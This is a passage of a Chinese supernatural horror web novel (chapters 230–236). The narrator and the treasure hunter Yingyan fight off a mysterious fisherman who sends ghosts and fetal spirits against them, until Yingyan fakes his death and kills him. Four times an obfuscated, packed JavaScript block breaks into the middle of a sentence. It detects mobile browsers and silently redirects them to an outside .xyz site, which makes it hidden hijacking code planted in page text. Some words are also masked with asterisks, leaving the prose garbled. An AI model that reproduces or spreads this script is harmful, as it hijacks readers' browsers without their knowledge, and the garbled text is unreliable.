周围的情况还算好,虽然雾气一种没有彻底散去,能见度很低,但一片寂静,暂时也察觉不到危险的气息。 就这样躲了能有半个小时左右,我的双腿已经蹲的发麻了,我想要扶着身后的石头站起来稍稍活动一下,但身体刚刚一动,立刻就察觉到了一丝异样的气息。 与此同时,鹰眼也产生了些感应,猛然转过头,朝旁边望了过去。 周围都是雾,什么也看不清楚,鹰眼拽了拽我的衣袖,示意我看一看。我闭上眼睛,额头上的伤口,立刻就在周围的浓雾里,看到了一团一团扭来扭去的影子。 这些影子和马友一样,都是人死以后留下的魂念,也就是老百姓所说的鬼。 在这片荒僻的荒山,不知道死过多少人,浓雾中的影子一团一团,至少有几十条,从四面八方一起围拢了过来。 这种东西,我和鹰眼都不会太畏惧,毕竟只是魂念,鹰眼这样在江湖混了大半辈子的人,肯定有办法对付。 然而,又看了两眼,我就觉得情况和我想的不一样,浓雾中的“鬼”,好像不是自己愿意过来的,它们的身后,应该有什么东西,硬把它们给逼了过来。 也就是说,这片浓雾的深处,有一些连鬼都害怕的东西,在悄无声息的蛰伏。 第231章 不仗义 果然,我心里的念头刚刚转完,浓雾中的鬼影,陡然间加快了速度,从四面八方朝着我们这边冲了过来。 魂念这种东西,如果生前不是什么了不得的大人物,其实对活人造不成什么很大的影响,就比如马友,死的那么冤枉,但**以后面对仇人,却有心无力。 但是,浓雾中冲来的那些影子,都是**不知道多少年的亡魂,阴气很重,如果影子太多了,**在一起,对人肯定是没有好处的。 更关键的是,这些鬼影显然是被什么东西驱使到了这边,这么多的鬼影一起涌过来,必然会影响我们的感官和反应,真到了那时候,再突然发生什么意外,我们就很难防备了。 事情到了这一步,几乎是明摆着的,驱使这些鬼影的人,已经发现了我们的藏身之地,再躲下去也没什么意义了。 鹰眼的手掌一翻,不知道从什么地方摸出了一把大米。大米是平时人吃的口粮,但同时也是一种民间巫师做法的法物,鹰眼手中的大米,肯定是普通的大米,然而,每一粒大米上面,都雕刻着很细微的符箓。 “现在躲不过去了,那就拼了吧。”鹰眼皱了皱眉头,感觉很无奈,他们之前也到过这片山地,没遇到什么麻烦,连他也想不到,这一次赶过来,就惹了一个不该惹的人。 就这么短短半分钟时间,浓雾中的鬼影已经距离很近了,鹰眼一抬手,把手中的大米唰的抛洒了出去。 大米飞出去的同一时间,浓雾中的鬼影像是崩碎了一样,只留下一缕一缕若有若无的阴惨惨的嘶吼。 这些鬼影被打散之后,浓雾似乎恢复了寂静,鹰眼朝着左右扫视了两眼,小声说道:“老弟,你也该出点力了,仔细看看,浓雾后面到底是什么人。现在可不是偷懒的时候,要不然,大伙儿都要遭殃。” 我对鹰眼的话嗤之以鼻,刚才我从梦中惊醒之后,不明白具体的情况,也就不知道鹰眼他们究竟怎么回事。现在已经完全可以断定,鹰眼比我还先发现危险,但这老东西只顾着自己的命,连退走的时候都没通知我。 这说明了什么?这只能说明,鹰眼是故意不喊我的,为的就是让我去吸引敌人的注意力。 但这个时候情况紧急,也顾不上和他计较了。 我闭上眼睛,又在仔细的感应,然而,这片浓雾对我的感应构成了很大的影响,感知力比平时大大的减弱,看了片刻,只能看到缭绕的雾气。 浓雾后面到底隐藏着什么,我真的看不出来。 陡然间,我听到了一阵骨碌碌的声音,就仿佛有什么东西在地上滚动,很快,一股很浓重的带着臭味和药味的腥气,就从浓雾后面缓缓飘散了过来。 我把眼睛彻底闭上,竭尽全力的去继续感应,渐渐的,我就隐约看到在浓雾后面,似乎有一些罐子。这些罐子就和乡下那些村民平时腌咸菜用的陶罐一样,罐子平躺在地上,咕嘟咕嘟的朝外流淌着发黑的血水。 血水滚滚而出,随即,一个一个**,就从罐子里嗖的飞了出来。 我的心头猛然一紧,这些罐子都是平时用来养紫婴的,刚才就一个紫婴已经把刚子给活活搞**,现在十来个罐子一起被打开,那么多紫婴要是都冲过来,肯定很难对付。 就在我想要提醒鹰眼的时候,心口突然就像是被一根针给扎了一下似的,我没有发现什么,可是,却感觉到那些紫婴的后面,仿佛有一双冷冰冰的眼睛,正在死死的注视我。 “紫婴过来了!”我转头对鹰眼说道:“想办法应付一下!” “紫婴……有几个?” “估计十来个。” 鹰眼的眉头一下子就皱了起来,他是个懂行的人,知道十来个紫婴意味着什么。 “那么多紫婴,搞不定!现在只能跑了!留着这条命,一切还都有可能。” 鹰眼毫不犹豫,他身上背着一个帆布包,伸手朝里面一抓,就抓出一颗头骨做成的灯。 这东西叫狗头灯,专门辟邪的,做狗头灯所用的是真正的**的头骨,**本身就是辟邪的东西,阳火很旺,狗头灯燃烧时所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814921|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 产生的火光,能化掉阴气。 鹰眼手中的狗头灯,个头很大,用的是**的狗王头骨,他把狗头灯托在手里,轰隆一声,头骨里的灯芯爆发出一团熊熊的火光,这片阴沉沉的浓雾,似乎也被照亮了一片。 就在这时候,我们已经听到了周围传来的动静,像是什么东西在地上沙沙的爬行,同时,还有一声一声婴儿啼哭和尖叫的声音,听的人心里发憷。 那些紫婴已经完全逼近了,我们在石头后面藏不住,鹰眼托着狗头灯,第一个冲了出去。 他一冲出去,就朝着后面飞快的跑,两个手下紧紧跟随,把我给甩到了最后,这几个人真的不讲一点道义,看样子又是想让我留在后面吸引火力。 我咬了咬牙,狗头灯虽然是辟邪的,但是在此刻的环境里,也是非常显眼的目标,跟着鹰眼跑,必然会被盯上。我硬着头皮调转方向,朝着另外一条路跑了过去。 和我所料想的一样,鹰眼那盏狗头灯,把所有的紫婴都给吸引了过去,他们跑出去了大概有几十米远,鹰眼的一个手下骤然间就传出一声极为凄惨的大叫,肯定是被紫婴给追上了。 我这边没有什么动静,鹰眼不仗义,我也不会那么傻,现在最要紧的是先脱身。我慢慢的朝着旁边继续挪动脚步,前进的路线,我不熟悉,但是来时的路我还记得,我就打算先摸索着后退个一二十里,然后再作打算。 就在我全力撤退的时候,心底深处突然升腾起一阵很不妙的感觉,还没来得及去分辨,左脚的脚踝猛的一紧,像是被什么东西给抓住了。 我急忙低下头,但是脚下空荡荡的,什么也看不到。然而,脚脖子上传来的感觉非常清晰,不可能是错觉。我一闭眼,额头上的伤口立刻就感应到,脚下有一团很小的影子。 那团影子闪闪烁烁,感应的很不清晰,我大概能分辨出来,那好像是个很小的小孩儿,光着身子。 小孩身上的皮肤,连同眼眶里的眼白都是血红血红的,就仿佛刚刚从一汪鲜血中爬出来的一样。 第232章 一网打尽 一看到这个孩子模糊的身影,我心里顿时一惊,还没来得及看的更清楚些,这团身影就无声无息的消失了。 我从来没有亲眼见过这东西,但是根据以前听过的一些传闻来判断,这一定就是养鬼人用邪术养出的血童。 传说里,被豢养了两三年以上的血童,是至阴至邪的玩意儿,就连鬼都怕它。现在看起来,传言并不是空穴来风,刚才那些逼近我们的鬼影,应该就是血童驱使过来的。 血童只现身了一下,鬼使神差般的消失了,我急忙转过身,在四周紧密的关注着,等我来来**转了几圈之后,血童似乎消失的非常彻底,连一丝痕迹都没有留下来。 我的头皮微微有点发麻,自从额头上的伤口出现以后,可以说是无往不利,那些肉眼观察不到的东西,总能被感应捕捉到。可是在这个时间这个地点,这种异能似乎就没那么好用了。 血童的确是没有留下什么痕迹,我就在考虑,现在到底还要不要继续朝后退,就在这时候,我突然嗅到了一股气味。那仍旧是有点腥臭的血腥气和药气混合在一起的味道。 一闻到这股气味,我的心就提到了嗓子眼,血童可能会用各种手段藏匿,让我无法观察到,但这种玩意儿是在血水里养起来的,那种血腥味不可能消除。 这股气味一直都在身前身后缭绕,这就说明,血童肯定还在附近。 嗖!!! 陡然间,我感觉自己右脚的脚脖子似乎又被什么东西给抓住了,这一次,我连想都没想,猛的一抬腿。腿脚的力气比手臂的力气大得多,再加上我反应的很及时,唰的一下,抓着我脚脖子的东西,顿时就被甩了出去。 那东西在半空划过一道弧线,噗通落到了地上,这一次,我感应的就比较清晰了,那还是刚才跟着我的血童,落地之后就和一只皮球一样,噌的又弹了起来。 血童的身影完全落入视线中时,我忍不住打了个哆嗦,这东西是用那些胎死腹中的血河车养出来的,个头很小,好像被完整的剥下了皮,从头到脚都是血糊糊的。 它那双血红色的眼睛,一眨不眨的盯着我,看的人头皮发麻。 很短时间里,我就回过了神,不管是紫婴还是血童,其实都是死物,如果没有人在背后以邪术掌控,血童是无法动弹的。我一直都怀疑,今天偷袭我们的人,就是那个钓鱼的。 也就是说,我真正的敌人是钓鱼的,血童只是对方推出来的一个**工具而已。 一转眼的功夫,血童唰的一闪,似乎又无影无踪了,我急忙再去感应,可是,在这片浓雾里,额头上那个如同天眼一样的伤口,受到的影响越来越大,感应能力连平时的三分之一都不到。 血童一消失,就再也捕捉不到它的身影了。 “今天……就是要破掉你的五行天眼……” “谁!?” 我心中本就惊疑不定,一听到这突如其来的声音,整个人差点跳起来。 那声音轻飘飘的,猛然一听,好像说话的人在很远之外,但再回味一下,对方似乎又在很近的地方。 我应该不会分辨错,说话的就是那个钓鱼的人。 其实,我心里是有点憋屈的,钓鱼的人之所以一直尾随着我们,然后伺机下手,应该就是刚子之前跟他发生了一些争执。 这个钓鱼佬,真的不是什么心胸宽广的人,刚子已经**,而且死的那么惨,他还是不肯罢手,这阵势,完全是要把我们这支队伍完全赶尽杀绝。 然而,心里的念头一冒出来,我随即又感觉不是太靠谱。 钓鱼佬绝非善类,从他脖子上带的嘎巴拉,还有用邪术养出来的紫婴血童就可以看出来。 但是,他本人始终都没有露面,我觉得,如果他真的有十足的把握,能把我搞定的话,估计早就动手了。 这说明,对方对我是有一些忌惮的,他没有绝对的把握,就不想冒险。 如果真是和刚子言语上发生了点争执,不至于就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819736|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把我们全给弄死,要知道,这里虽然非常偏远,但现在已经不是那种兵荒马乱的年头了,**是要偿命的。 一想到这儿,我立刻又产生了新的判断,钓鱼佬要把我们全给弄死,应该不是刚子的原因。 这家伙的眼光很毒,我是被火狐狸无意中刺了一刀之后,额头上的伤口才有了额外的感应能力,连我自己都说不清楚,这到底是怎么回事。但钓鱼佬却能看出来,我额头上的那个伤口,是什么五行天眼。 此时此刻,我肯定是落在下风的,如果不是到了万不得已的地步,还是不能硬拼。血童再也没有露面,我知道对方肯定没走远,但也顾不上那么多了,飞身就朝后面退去。 我跑的很快,但是周围到处都是浓雾,完全看不清楚路,我只能凭着自己的记忆,不断的朝着来时的路线退走。同时,我还要关注附近所发出的任何动静,反正走的很不顺利。 就这样跌跌撞撞的跑了最少有半个小时左右,朦朦胧胧之中,我就跑到了一片稀疏的树林边缘。到了这儿,我心里大概是有底了,这片树林我有印象,就是我们来时所经过的,这就说明,我没有走错路。 这半个小时时间里,钓鱼佬没再说话,血童也没有出现,我不管那么多,能跑多远跑多远。 就在我急速的在树林边缘穿行的时候,前面突然啪嗒一声,好像掉落了什么东西,我猛的停下脚步,眯着眼睛一看,立刻看到了一只鞋。 鞋是从上头掉下来的,我不由自主的抬起头,等目光落到头顶上方时,脑袋顿时大了一圈。 寒冬时节,树林里的那些树,已经掉光了叶子,我一抬头就看到距离地面四五米的地方,吊着三个人。 这三个人都耷拉着脑袋和四肢,身体轻轻的左右晃动,赫然是鹰眼和他的两个手下。 心头的危机感一下子就弥漫开来,鹰眼他们虽然抢先跑了,但还是没能逃走,他们是怎么被吊在这儿的,我不清楚,看样子,三个人肯定是死透了。 第233章 把握时机 鹰眼他们三个人悬吊着的尸体,无疑让我有种兔死狐悲的凄凉,事到如今,我除了全力逃脱,就没有别的办法了。 可是,我心里的感觉很不好,鹰眼虽然没有我额头上的什么五行天眼,但这老家伙的经验,身手,还有应敌能力,其实都比我强,他连同两个手下都被吊在这儿了,我能幸免吗? 我吸了口气,反正横竖都是要拼,也就不用再顾虑那么多了,现在起身就跑,能跑多远跑多远,钓鱼佬真要穷追不舍,我也不会让他那么好受。 就在我吸气的同时,一股血腥味和药味混合的气息,又一次钻入了鼻腔。这股气味其实是个很明显的信号,说明血童必然就在很近的地方。 我还没来得及再转头去观察,身旁骤然间闪过了一道影子,这道影子刚刚闪过去,右边又闪过了一道影子。 影子的速度非常快,连眼睛都跟不上,我隐约能察觉到,那是血童,另外一道影子,很可能是紫婴。 两道影子闪动的似乎比我的脑子转动的都快,一转眼间,身后唰的又闪过一道影子,我连动都不敢动,只能稍稍转头,用余光去观察。 转头的一刹那,眼前唰的一下也闪过了一道小小的影子。 血童和紫婴就在身边不停的闪来闪去,它们的动作太灵活了,我的目光不断的跟着它们的身形移动,短短一两分钟时间,我的眼睛似乎就跟不上对方移动的速度了,一道一道呼啸而过的影子,晃的我眼花缭乱。 我这边非常被动,又过了一两分钟,身后陡然传来一阵异动,我刚刚一转身,血童的影子就在背后出现,噌的一下子,跳到了我的背上。 这东西又恐怖又恶心,被它爬到身上,就好像有无数只癞**把自己给围住了。我下意识的抖动身躯,想把它给甩下来。 但血童还没被甩下来,我的眼睛一花,一直都在身前身后绕来绕去的紫婴也趁机扑到了面前。 紫婴还有血童,是**跟血河车养出来的,本身没有爪子也没有牙齿,不过,眼前的紫婴和血童明显被养鬼的人刻意改造过,它们的手指上,镶嵌着很锋利的铁刺。 这种婴胎被养的久了,多半都带着尸毒,要是被它们抓破了皮肉,当时就得躺下。 我手上戴着手套,到了这时候也顾不上恶心了,一边不断的抖动身躯,一边伺机把这两个要命的玩意儿给抓下来。紫婴和血童越灵活,就证明背后操控他们的人离的越近,我不敢有任何的松懈,一旦走神,钓鱼佬再出来偷袭,那就糟糕透顶了。 我现在唯一的优势就是体力很充沛,力气也很大,身躯不停的晃动,不给紫婴和血童什么机会,纠缠了能有两三分钟时间,我瞅准机会,一把抓住在身上来回爬动的血童。 我肯定不会留手,抓住对方的同时,用尽全力朝地上一摔。 就在这一瞬间,身上的紫婴似乎也找到了机会,小爪子用力朝我的脖子上抓过去。我激灵灵打了个哆嗦,直接把脖子缩到领子里。 我能感觉到,紫婴手上的铁刺已经刺穿了衣领,距离我的皮肉只差分毫。 我一把抓住脖子上的紫婴,跟着又是用力一甩,紫婴被甩落到地上之后,我跟着一踩,这一脚下去,估计连石板都能踩裂,紫婴直接被踩成一团肉泥,发黑的血迹滋滋的朝外喷溅。 把这两个东西解决了之后,我觉得情况可能会好一点,谁知道,周围的浓雾里,又接二连三的出现了几团小小的影子。因为有雾气,我看的不是很清晰,可是,那一双双血红色的眼睛,却在雾中若隐若现。 我只觉得头大如斗,一个紫婴,一个血童,已经让我狼狈不堪,此时雾中的影子至少有四五个,要是一起扑过来,我都不知道该怎么招架。 我的判断一点没错,很短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819737|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间里,雾气中的几团小影子已经全部出现,从几个方向朝我这里逼近,对方的速度太快了,我根本就没有思考的时间,忍不住接连后退,一下子又退到了树林的边缘。 头顶上就是鹰眼他们三个人被吊死的尸体,我也完全没了退路。我只觉得很不甘,又很无奈,自己有了五行天眼,而且力量惊人,就算遇到了高手,至少能和对方拼一把。 可偏偏面对血童这种阴邪之物,还是没有太多反击之力。 当我退到树林边缘的时候,四五个血童一拥而上,彻底把我给围在了中间。 而且,除了血童身上的阴气和戾气之外,我还感应到了一股杀气。这股杀气,一定是钓鱼佬散发出来的,他肯定在时刻等待机会,如果血童把我缠的毫无招架之力时,钓鱼佬一出手就能弄死我。 我不想束手就擒,还是在全力的反击,最开的时候,几个血童还是在身前身后飞快的跑动,过了一会儿,血童就开始朝我身上蹿。 我被逼的手忙脚乱,还没从危机中挣脱出来,周围那一片本来就遮天蔽日的雾气,一瞬间又浓重了许多。而那阵凌厉的杀气,距离我好像越来越近了。 我一直都看不到钓鱼佬躲在什么地方,这片浓雾是专门克制五行天眼的,我稳住心神,跟血童纠缠了片刻,最终还是没能完全躲过去,两个血童顺着我的双腿,闪电一般的就爬到了我的肩膀上。 不管是脖子,还是脑袋,都是人体的要害,我被迫收回手,想要把它们给抓下来,等到两只手全都伸到肩头的一刹那,从身后那片浓的快要滴水的雾气中,猛然蹿出了一道身影。 那道身影来的很快,我不用看的那么清楚,就知道是一直隐藏着的钓鱼佬。此时此刻,我的双手腾不出来,周围还有三个血童在虎视眈眈,钓鱼佬精准的把握住这个时机,我随即就被死亡的阴影彻底笼罩其中。 第234章 化解危机 钓鱼佬太会把握时机了,他出现的那么突然,而且就是趁着我上气不接下气的时候骤然发难,一下子就把我所有的退路全给堵**。 钓鱼佬的手里,似乎拿着一根鱼竿,当他的身影完全从浓雾中现出时,我躲闪不及,就感觉自己的脖子被鱼竿上的鱼线给缠了一圈。 我心头猛的一紧,鱼线细如毛发,又柔韧有余,要是在脖子上缠紧了,后果可想而知。我没有任何思索的余地,趁着鱼线还没有收紧,急忙将双手顺着脖子塞到鱼线中,暗中发力,想把鱼线给崩断。 细细的鱼线不知道是用什么东西做成的,那种柔韧的程度超乎我的想象,用的力气稍大一些,鱼线没断,却已经隐然勒到了双手的皮肉里。 这时候,钓鱼佬已经完全靠近了,就站在离我三米远的地方,他死死的抓着手中的鱼竿,跟着也是猛然发力,鱼线是扯不断的,随着钓鱼佬发力,细细的鱼线立刻收紧。 我的双手已经被鱼线勒出了一条伤口,鲜血顺着手腕流淌下来,可是我不敢动,更不敢收回手,要是把手收回去,脖子立刻就会被勒断。 眼下是彻底没有退路了,生死悬于一线,我也想不出别的办法,憋着一口气,双脚一蹬地面,顺势就朝钓鱼佬猛冲了过去。 我这么朝前一冲,那根紧绷的鱼线就松了,钓鱼佬的反应速度也极快,我朝前冲,他就朝后退,两个人你追我赶,钓鱼佬绕了圈子,我虽然暂时没被勒的喘不过气,但脖子上的鱼线始终都无法挣脱掉。 一根鱼线,就好像黑白无常手里的铁索,直接要把我给拉到鬼门关。 我咬紧牙关,现在只能拖一会儿算一会儿,看看能否找到转机。 我的力气很大,也完全顾不上双手的伤,拼死和钓鱼佬抗衡,钓鱼佬估计也没想到,我会这么坚韧,不由自主的用双手握着鱼竿,不断的加力。 就在这时候,我突然听到头顶唰的一声轻响,还没来得及抬头去看,立刻就感觉有什么东西掉落了下来。 钓鱼佬全神贯注的应付我,头顶上的响动,他肯定是听到了,却又不敢分心。 电光火石的一瞬间,头顶飘下来一团身影,那道身影还没有落地,就握着一把刀,冲着钓鱼佬的脖子划去。 钓鱼佬的确经验丰富,在这种完全预料不到的变局中依然保持着清醒,他的身躯猛然朝后一仰,避开这致命的一刀,同时收回一只手,握拳砸了出去。 那道身影还是没能落地,直接被钓鱼佬一拳砸到了肚子上,在这种生死时刻,谁都不可能留手,这一拳结结实实落到对方的身上之后,立刻就把那道身影给砸飞了。 然而,这道身影被砸飞的一刹那,第二道身影也跟着落了下来,恰恰落到了钓鱼佬的背后。 一直到这时候,我才看到,那个被砸飞的人,就是鹰眼的一个手下,刚才还被吊在上头。 而落在钓鱼佬背后的,赫然就是鹰眼。 这电光火石的一瞬间,我没有思考的余地,但已经下意识的猜到,鹰眼这个老狐狸,其实一直都没死,他太狡猾了,能装死装到现在。 钓鱼佬也只是个人而已,并不是神,他刚才避开的那一刀,其实已经用尽全力,当鹰眼落在身后,钓鱼佬没有还击的余力。 鹰眼毫不犹豫,手中那把锋利的短刀从钓鱼佬的后腰就捅了进去。这种打斗经验很丰富的老手,可以彻底的避开对反身体里的骨头,一把差不多一尺长的刀,几乎捅进去一大半。 钓鱼佬吃痛,二话不说,立刻就想抽身逃走。鹰眼不可能给他这个机会,转手又要抽回刀子。刀锋被伤口死死的夹住,鹰眼干脆丢下这把刀,左手一翻,从袖筒里又掉下来一把只有一指宽的小刀子。 鹰眼的左手跟着就从钓鱼佬的脖颈一划而过,还不等鹰眼收回手,一股鲜血就飚飞了出来。此时此刻,钓鱼佬再也承受不住,终于丢下了手里的鱼竿,双手死死的捂着自己的脖子。 一股一股的血迹,从他的指缝中流淌出来。鹰眼的手下艰难的翻身爬起来,三步并作两步的冲上前去,一刀又捅进了钓鱼佬的心窝。 钓鱼佬踉跄倒地,双腿紧紧的蜷缩着,两只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832465|167102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手仍然不由自主的捂着脖子上的伤口。 受了这种伤,钓鱼佬就算是个神仙也撑不住,肯定是不能活了。 我把脖子上的鱼线扯了下来,鹰眼喘了口气,靠着一棵树坐了下来,这老家伙虽然偷袭得手,但是刚才在上面被吊了那么久,肯定也不好受。 “你装死装的挺像。”我也跟着坐了下来,从身上掏出外伤用的伤药,把双手的伤口敷了一下。 “要是不装死,那早就**,也等不到这时候下来救你。” 我对鹰眼的话嗤之以鼻,但是也没表露出来。我很明白,就是我刚才死死的缠住了钓鱼佬,让鹰眼有了动手的机会,他才会下来。要是钓鱼佬占据了上风,鹰眼或许会一直装下去。 “现在怎么办?” “我这边已经折损了人手,损失太大,还能怎么办?接着朝前走。这个钓鱼佬已经归西了,没什么可怕的。” “我觉得,这事情没那么简单,这个钓鱼佬是什么来历?就因为你的手下在河边跟他斗了几句嘴,他就要彻底赶尽杀绝?” “这个事情,我肯定也说不清楚。”鹰眼扶着树干站起身,说道:“老弟,做我们这一行的,就是拿命来拼一场富贵,要是不拼,横财不会好端端的就落到自己头上。” 我觉得钓鱼佬的动机很难理解,但是,根据我以往的经验来看,那些没有价值的地方,是很安全,如果是有价值的地方,往往都被伴随着不可预料的危险。 这条路,我倒是想继续走下去看看。 现在鹰眼就剩了一个手下,我们把这边收拾了一下,然后又朝刚才的路走了一大圈,其余几个人的尸体,先后都找到了,一下子**几个人,鹰眼连眼皮子都没眨一下,好像这种事情对他来说,已经司空见惯了。 浓雾已经散去,现在天还没有完全亮,前方的路,朦胧一片,看不到尽头。我心里很渴望能跟着鹰眼走到最终的目的地,然而,那个已经死去的钓鱼佬,是个不太好的征兆,连我自己也说不清楚,之后的路上会否还有致命的威胁等着我们。 第235章 无声消失 我一直都在思考这个问题,反正心里总是有种莫名的担忧。 “老弟,现在咱们人少了,你也得背点东西,前面的路不知道还有多远,现在天冷,山里什么吃的都没有,咱们要是断粮,就走不远了。” 鹰眼交给我一个包,里面都是食物和一点饮水,估计得有三十多斤重,我接过包,一把又拉住了他的胳膊。 “你先等等,有些情况,你不能总是瞒着我。” “我没瞒你什么。” “你说过,之前你的人进山以后,路上是没遇到什么麻烦的。” “确实没遇到过,要是真遇到了,我有必要瞒着你?那个钓鱼佬的事情,我是全然不知。” 鹰眼反正一说起具体的情况,就在跟我打马虎眼。我不是存心要套他的话,我只是在思考,这片山区以前是很平静的,鹰眼的人往来也不是一次了,为什么以前赶路都很顺利,就偏偏这一次遇到了麻烦? 我有点怀疑,是不是就因为鹰眼他们发现了那个打捞出碎铜的地方,然后才引来了钓鱼佬这样的人? 现在我可以确定,钓鱼佬绝对不是找刚子来报仇,他的目的,是把我们全都弄死,也就是说,不管是谁想要进山,钓鱼佬都不会放过。 这么一想,我心里就更加担忧,后面的路上,估计不会那么平静。 队伍就剩下三个人,我们收拾好了之后就动身上路,具体的路线,还是一无所知,鹰眼那个手下,就承担起了探路的任务。这个人有三十岁左右,之前队伍里的人都喊他猛哥。 猛哥平时不怎么多说话,不过,单从他和鹰眼一块儿装死,又趁机搞定了钓鱼佬就能看得出,这肯定不是一般的打手。 路线虽然不明确,不过,猛哥根据山势的具体走向和实际情况,还是慢慢的摸索出了一条路。我们沿着这条路走了整整一天,当夕阳西沉的时候,鹰眼站在一座小山的山头举目远眺,很快,他的兴奋了。 我们现在基本上等于进入了山地的腹地,从这里横穿过去,就可以走到前两次鹰眼他们进山的那条路上。那条路,猛哥之前走过,很熟悉。 到了入夜,我们三个人轮流守夜,反正有了钓鱼佬这件事,三个人心里都不怎么踏实,一晚上睡的战战兢兢,好在没有发生什么意外,还是平安度过了一夜。 按照现在的路程还有地势走向,估计还得再过一天一夜,才能重新回到鹰眼他们熟悉的那条山路上。 第二天白天,我们又整整走了一天,一切还算是顺利,又到了傍晚时分,前头是一片山洼,山洼里全是半人来高的灌木。 像这样一走一天,体力消耗的比较大,到晚上必须得休息休息,我和鹰眼坐下来,猛哥就到附近去捡柴火,打算生火烧一点水,再弄些吃的。 “老弟,问你个事。” “什么?” “七爷当时派人来给我送信的时候,说你是白八门抬棺的,抬棺这一门的人,还有那么大的来历?你的五行天眼,是怎么练的?” “师傅教的。”我不耐烦跟鹰眼解释那么多,我的五行天眼的来历不好讲,我也不想让鹰眼把我的底细全给摸透。 “这样,咱们能商量一下不?这次到了目的地,要是有什么收获,我多给你分一成,你把五行天眼的法门,和我说一说。” “这是我们抬棺这一门的不传之秘。” “这都什么年头了,还有什么不传之秘?什么都是跟钱说话的,钱到位了,一切都好谈……” 不管鹰眼怎么承诺,我都不想搭理他那么多,只不过碍于现在的具体形势,我只能含糊其辞的告诉他,等出山了以后再说。 鹰眼在这里啰啰嗦嗦说了很多,一直到天色完全暗了,他才回过神,抬眼朝周围看了看。 猛哥去捡柴火,已经去了有段时间了,这地方到处都是灌木,捡柴火不用走的太远,鹰眼站起身,喊了一声,但是猛哥没有传来回应。 我也跟着警觉了起来,两个人立刻左右散开,顺着猛哥刚才离开的方向一点一点的寻找过去。 我们一直找出去百十米远,都没有找到猛哥,而且,鹰眼喊了两次,猛哥始终没有传来回应,这时候,鹰眼的脸色就有点难看了,猛哥是那种比较沉稳的人,办事很老到,如果他始终不传出回应,就很有可能出了事。 我慢慢的抽出了一把刀,同时压低了腰身,在一丛一丛的灌木之间缓缓的前行。此时此刻,这片山洼又是死一般的寂静,那种感觉,和当初被钓鱼佬偷袭的时候完全一样。 又走出去了大概二十米远,灌木丛基本上到头了,山洼里面一片空荡,要是猛哥还在这附近,不应该看不到他。 我眯起眼睛,朝周围扫视了一眼,我的观察力肯定要比鹰眼强,这一眼望过去,我突然就看到不远处的一丛灌木旁边,丢着一把刀子。 那把刀是猛哥的,刀子一离身,必然就意味着对方遇到了什么危险。 我急忙给鹰眼打了个招呼,同时心里又觉得不太正常,猛哥的经验也很丰富,他就算出来捡柴火,也不可能走的这么远。 而且,即便是突然遭遇了险情,他至少会出声给我们示警,相隔着百十米的距离,如果示警声比较大,我和鹰眼也不可能完全听不到。 我和鹰眼走的更小心了,一边走,一边就不断的查找别的线索。 当我走到那把刀子跟前时,很快就发现了地面上一条很明显的拖拽的痕迹。这就说明,猛哥多半是真的出事了,而且失去了行动能力,是被人给拖走的。 这条拖拽的痕迹非常明显,一直朝着左手边绵延过去,我们两个就顺着这条痕迹,一直跟随了有十几米远。 痕迹在一丛很大的灌木跟前消失了,也就是说,拖拽猛哥的人,到这里的时候突然停下了脚步。 冬天的灌木丛,树叶都掉光了,我的视线一落到前面那丛灌木的时候,头上的头发好像唰的一下,全都直立了起来。 一种非常膈应的感觉,顿时从我的脚底板一直冲到了天灵盖。 第236章 瞬息化白骨 这个时候,我看到在这丛灌木中间,有一堆骨头。 骨头虽然不完整了,却还是能认出,这是人的骨头,里面的臂骨和腿骨清晰可见。 如果在这种地方遇见一堆人的骨头,我也不会害怕,可除了这堆骨头之外,我还看到了一团塞在灌木丛里的衣服,以及一双鞋子。 我不会认错,那是猛哥的鞋。 我立刻给鹰眼打了招呼,这老家伙的眼神不如我,但距离只要近一些,他同样能发现灌木丛中的白骨。 除了这堆骨头,周围没有别的动静,我和鹰眼仔细的感应了一遍,确信察觉不出危险,这才彻底的靠近了这丛灌木。 这一片灌木丛是十几棵灌木组成的,灌木挤的密密麻麻,围成一个圈,只在正中间留着一点缝隙,那堆骨头,就在灌木丛的中间。我和鹰眼看了一会儿,心就越来越沉。 